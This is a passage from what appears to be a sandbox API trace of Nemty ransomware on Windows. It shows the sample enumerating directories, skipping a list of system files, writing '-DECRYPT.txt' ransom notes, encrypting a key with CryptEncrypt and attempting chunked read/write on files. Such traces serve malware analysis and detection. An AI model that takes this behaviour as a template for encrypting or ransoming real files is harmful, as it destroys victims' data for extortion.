hTemplateFile=0x0) returned 0x1ec [0125.919] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340288 | out: hHeap=0x4f90000) returned 1 [0125.919] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.919] WriteFile (in: hFile=0x1ec, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0125.920] CloseHandle (hObject=0x1ec) returned 1 [0125.920] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0125.920] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340158 | out: hHeap=0x4f90000) returned 1 [0125.920] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0125.920] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\*.*", lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xfeb13e50, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xfeb13e50, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423a70 [0125.920] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0125.920] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xfeb13e50, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xfeb13e50, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0125.920] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0125.920] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0125.920] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23671ecb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="css", cAlternateFileName="")) returned 1 [0125.920] lstrcmpiW (lpString1="css", lpString2=".") returned 1 [0125.921] lstrcmpiW (lpString1="css", lpString2="..") returned 1 [0125.921] lstrcmpiW (lpString1="css", lpString2="...") returned 1 [0125.921] lstrcmpiW (lpString1="css", lpString2="windows") returned -1 [0125.921] lstrcmpiW (lpString1="css", lpString2="$RECYCLE.BIN") returned 1 [0125.921] lstrcmpiW (lpString1="css", lpString2="rsa") returned -1 [0125.921] lstrcmpiW (lpString1="css", lpString2="NTDETECT.COM") returned -1 [0125.921] lstrcmpiW (lpString1="css", lpString2="ntldr") returned -1 [0125.921] lstrcmpiW (lpString1="css", lpString2="MSDOS.SYS") returned -1 [0125.921] lstrcmpiW (lpString1="css", lpString2="IO.SYS") returned -1 [0125.921] lstrcmpiW (lpString1="css", lpString2="boot.ini") returned 1 [0125.921] lstrcmpiW (lpString1="css", lpString2="boot.ini") returned 1 [0125.921] lstrcmpiW (lpString1="css", lpString2="AUTOEXEC.BAT") returned 1 [0125.921] lstrcmpiW (lpString1="css", lpString2="ntuser.dat") returned -1 [0125.921] lstrcmpiW (lpString1="css", lpString2="desktop.ini") returned -1 [0125.921] lstrcmpiW (lpString1="css", lpString2="CONFIG.SYS") returned 1 [0125.921] lstrcmpiW (lpString1="css", lpString2="RECYCLER") returned -1 [0125.921] lstrcmpiW (lpString1="css", lpString2="BOOTSECT.BAK") returned 1 [0125.921] lstrcmpiW (lpString1="css", lpString2="bootmgr") returned 1 [0125.921] lstrcmpiW (lpString1="css", lpString2="programdata") returned -1 [0125.921] lstrcmpiW (lpString1="css", lpString2="appdata") returned 1 [0125.921] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="css", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0125.921] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="css", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="css", lpUsedDefaultChar=0x0) returned 3 [0125.921] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="css", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0125.921] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="css", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="css", lpUsedDefaultChar=0x0) returned 3 [0125.921] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0125.921] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0125.921] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0125.921] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0125.921] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0125.921] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0125.921] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0125.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0125.922] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0125.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340158 [0125.922] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0125.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340210 [0125.922] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340158 | out: hHeap=0x4f90000) returned 1 [0125.922] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\css\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0125.922] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340210 | out: hHeap=0x4f90000) returned 1 [0125.922] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.922] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0125.923] CloseHandle (hObject=0x254) returned 1 [0125.923] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0125.923] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0125.923] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0125.923] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0125.923] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0125.923] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0125.923] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0125.923] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0125.923] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0125.923] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0125.923] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0125.923] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340158 [0125.923] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0125.923] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340210 [0125.924] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340158 | out: hHeap=0x4f90000) returned 1 [0125.924] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\css\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0125.924] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340210 | out: hHeap=0x4f90000) returned 1 [0125.924] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.924] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0125.925] CloseHandle (hObject=0x254) returned 1 [0125.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0125.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0125.925] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0125.925] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xfeb39fb0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xfeb39fb0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0125.926] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0125.926] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xfeb39fb0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xfeb39fb0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.926] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0125.926] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0125.926] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4c2e, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="currency.css", cAlternateFileName="")) returned 1 [0125.926] lstrcmpiW (lpString1="currency.css", lpString2=".") returned 1 [0125.926] lstrcmpiW (lpString1="currency.css", lpString2="..") returned 1 [0125.926] lstrcmpiW (lpString1="currency.css", lpString2="...") returned 1 [0125.926] lstrcmpiW (lpString1="currency.css", lpString2="windows") returned -1 [0125.926] lstrcmpiW (lpString1="currency.css", lpString2="$RECYCLE.BIN") returned 1 [0125.926] lstrcmpiW (lpString1="currency.css", lpString2="rsa") returned -1 [0125.926] lstrcmpiW (lpString1="currency.css", lpString2="NTDETECT.COM") returned -1 [0125.926] lstrcmpiW (lpString1="currency.css", lpString2="ntldr") returned -1 [0125.926] lstrcmpiW (lpString1="currency.css", lpString2="MSDOS.SYS") returned -1 [0125.926] lstrcmpiW (lpString1="currency.css", lpString2="IO.SYS") returned -1 [0125.926] lstrcmpiW (lpString1="currency.css", lpString2="boot.ini") returned 1 [0125.926] lstrcmpiW (lpString1="currency.css", lpString2="boot.ini") returned 1 [0125.926] lstrcmpiW (lpString1="currency.css", lpString2="AUTOEXEC.BAT") returned 1 [0125.926] lstrcmpiW (lpString1="currency.css", lpString2="ntuser.dat") returned -1 [0125.926] lstrcmpiW (lpString1="currency.css", lpString2="desktop.ini") returned -1 [0125.926] lstrcmpiW (lpString1="currency.css", lpString2="CONFIG.SYS") returned 1 [0125.926] lstrcmpiW (lpString1="currency.css", lpString2="RECYCLER") returned -1 [0125.926] lstrcmpiW (lpString1="currency.css", lpString2="BOOTSECT.BAK") returned 1 [0125.926] lstrcmpiW (lpString1="currency.css", lpString2="bootmgr") returned 1 [0125.926] lstrcmpiW (lpString1="currency.css", lpString2="programdata") returned -1 [0125.926] lstrcmpiW (lpString1="currency.css", lpString2="appdata") returned 1 [0125.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0125.926] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="currency.css", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0125.926] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="currency.css", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currency.css", lpUsedDefaultChar=0x0) returned 12 [0125.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0125.926] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="currency.css", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0125.926] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="currency.css", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currency.css", lpUsedDefaultChar=0x0) returned 12 [0125.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0125.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0125.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0125.927] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="currency.css", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0125.927] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="currency.css", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currency.css", lpUsedDefaultChar=0x0) returned 12 [0125.927] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0125.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0125.927] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="currency.css", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0125.927] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="currency.css", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currency.css", lpUsedDefaultChar=0x0) returned 12 [0125.927] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0125.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340158 [0125.927] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0125.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340200 [0125.927] Sleep (dwMilliseconds=0x5) [0125.939] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0xfeb60110, dwHighDateTime=0x1d561e7)) [0125.939] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0xfeb60110, dwHighDateTime=0x1d561e7)) [0125.939] GetLastError () returned 0xb7 [0125.939] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0125.939] GetLastError () returned 0xb7 [0125.939] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0125.939] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0125.939] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0125.939] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0125.939] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0125.939] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0125.939] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63402a8 [0125.939] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63402a8, pcchString=0x653e5dc | out: pszString="myEUjvmg65rg938Ofar/75qCkGOz9QP23Dq6PiiYo7lR0SExsW4RocJw8jUFLHwV\r\naUzEm1p3uKbiK6Zq3U1CeEf2S+LOBNwRRtR8EDqFYokk8KRtfzp1ESll/p/XXJXJ\r\nJP8CUVUFfckR7neXE4hL9wLPEIFoi7HCKEgUCsVOmZ1c/2ozzzCv7oFn62X1j4Qt\r\n3s8D31BdWRj5RdTNYQGbUuhnZXLxSFT2AFgGdhWbIY8MNFqXstJ+46PlRC1/FYyr\r\nG1A571OBgEmke+OquR0wiRzdMK1LTUXw+1JfnvNtnTS6HKT5GvyKm7hg17YJ7bh5\r\n4ApMvOxF5FehCfYw2NkyrA==\r\n", pcchString=0x653e5dc) returned 1 [0125.939] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0125.939] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402a8 | out: hHeap=0x4f90000) returned 1 [0125.939] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0125.939] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0125.939] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63402a8 [0125.939] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0125.939] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css\\currency.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\css\\currency.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0125.940] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=18150282790955108) returned 0 [0125.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0125.940] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.940] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0125.949] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.949] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0125.949] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.950] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0125.959] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.959] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0125.959] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.959] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0125.971] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.971] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0125.971] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.971] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0125.980] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.980] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0125.980] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.980] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0125.989] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.989] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0125.989] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.990] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: 